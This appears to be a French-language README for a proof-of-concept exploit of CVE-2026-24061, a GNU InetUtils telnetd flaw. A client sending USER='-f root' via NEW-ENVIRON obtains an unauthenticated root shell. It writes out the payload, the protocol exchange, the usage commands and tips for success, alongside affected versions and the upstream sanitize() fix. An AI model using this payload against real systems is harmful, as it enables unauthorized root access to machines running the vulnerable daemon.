
Preuve de concept pour CVE-2026-24061, un contournement d'authentification telnetd via injection d'arguments dans la variable d'environnement USER, permettant un accès root non authentifié au shell.
injection d'arguments dans telnetd de GNU InetUtils. Versions 1.9.3 à 2.7. CVSS 9.8. Dans le KEV de la CISA depuis le 26.01.2026, c'est-à-dire activement exploité dans la nature.
Tout le truc repose sur le fait que telnetd prend la valeur de la variable d'environnement USER du client via NEW-ENVIRON (RFC 1572) et l'insère sans aucune validation directement dans l'appel à login(1). Si le client envoie USER="-f root", telnetd exécutera :
/usr/bin/login -p -h <host> -f root
Le drapeau -f dans login signifie « connecter cet utilisateur sans mot de passe ». Shell root, zéro authentification.
Dans , il y a un modèle d'appel à login :
telnetd/telnetd.cchar *login_invocation = PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";
%u est l'utilisateur de l'authentification telnet (de confiance). %U est la valeur brute de la variable d'environnement USER du client (non fiable). Lorsque l'authentification n'est pas active, %U est utilisé.
L'expansion des variables se trouve dans telnetd/utility.c, fonction _var_short_name :
case 'U':
return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");
Zéro filtrage. Tout ce que le client envoie dans USER va directement dans la ligne de commande de login. Non seulement -f root fonctionne, mais théoriquement n'importe quel argument que login accepte peut être injecté.
Le bug a été introduit dans un commit de protection en amont du 2015-03-19 (fa3245ac). Ironiquement, ce commit devait corriger la gestion de la variable USER. Debian avait un patch pour cela en 2019 (0028-telnetd-Scrub-USER-from-environment.patch), mais lors du correctif de CVE-2020-10188 dans Debian 10, le patch s'est perdu et le bug est revenu. Donc Debian 10+, Ubuntu et leurs dérivés sont également vulnérables.
main.py est un client telnet minimal qui :
IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SElogin -f root, vous obtenez un shellclient serveur
|--- tcp connect ------------------->|
|<-- IAC DO NEW_ENVIRON -------------|
|--- IAC WILL NEW_ENVIRON ---------->|
|<-- IAC SB NEW_ENVIRON SEND --------|
|--- SB NEW_ENVIRON IS |
| VAR "USER" VALUE "-f root" |
| IAC SE ------------------------>|
| [telnetd: login -p -h x -f root]|
|<-- root@host:~# ------------------|
python3 main.py <host>
python3 main.py <host> -p <port>
Ctrl+C termine la session.
N'essayez pas cela sur des systèmes qui n'ont pas inetutils-telnetd. Le paquet telnetd de netkit est un code différent, il n'est pas vulnérable à ce bug spécifique. Si vous vous connectez et obtenez une invite de connexion normale au lieu d'un shell, soit le serveur a déjà le patch, soit ce n'est pas un telnetd inetutils.
Ne modifiez pas le payload en -f <autre_utilisateur> en espérant qu'il fonctionne sur tous les systèmes. login(1) de certaines distributions a des restrictions supplémentaires sur -f. Sur un Debian/Ubuntu standard, -f root fonctionne sans problème.
| logiciel | versions |
|---|---|
| GNU InetUtils | 1.9.3 - 2.7 |
| Debian 10+ | inetutils-telnetd (jusqu'au patch) |
| Debian 11 | corrigé dans 2:2.0-1+deb11u3 |
| Ubuntu | inetutils-telnetd (jusqu'au patch) |
Le correctif officiel ajoute une fonction sanitize() qui rejette les valeurs commençant par - ou contenant des métacaractères de shell. Appliquée à toutes les variables dans l'expansion, pas seulement USER.
static char *
sanitize (const char *u)
{
if (u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
return u;
else
return "";
}
fd702c0 - patch USERccba9f7 - assainissement de toutes les variables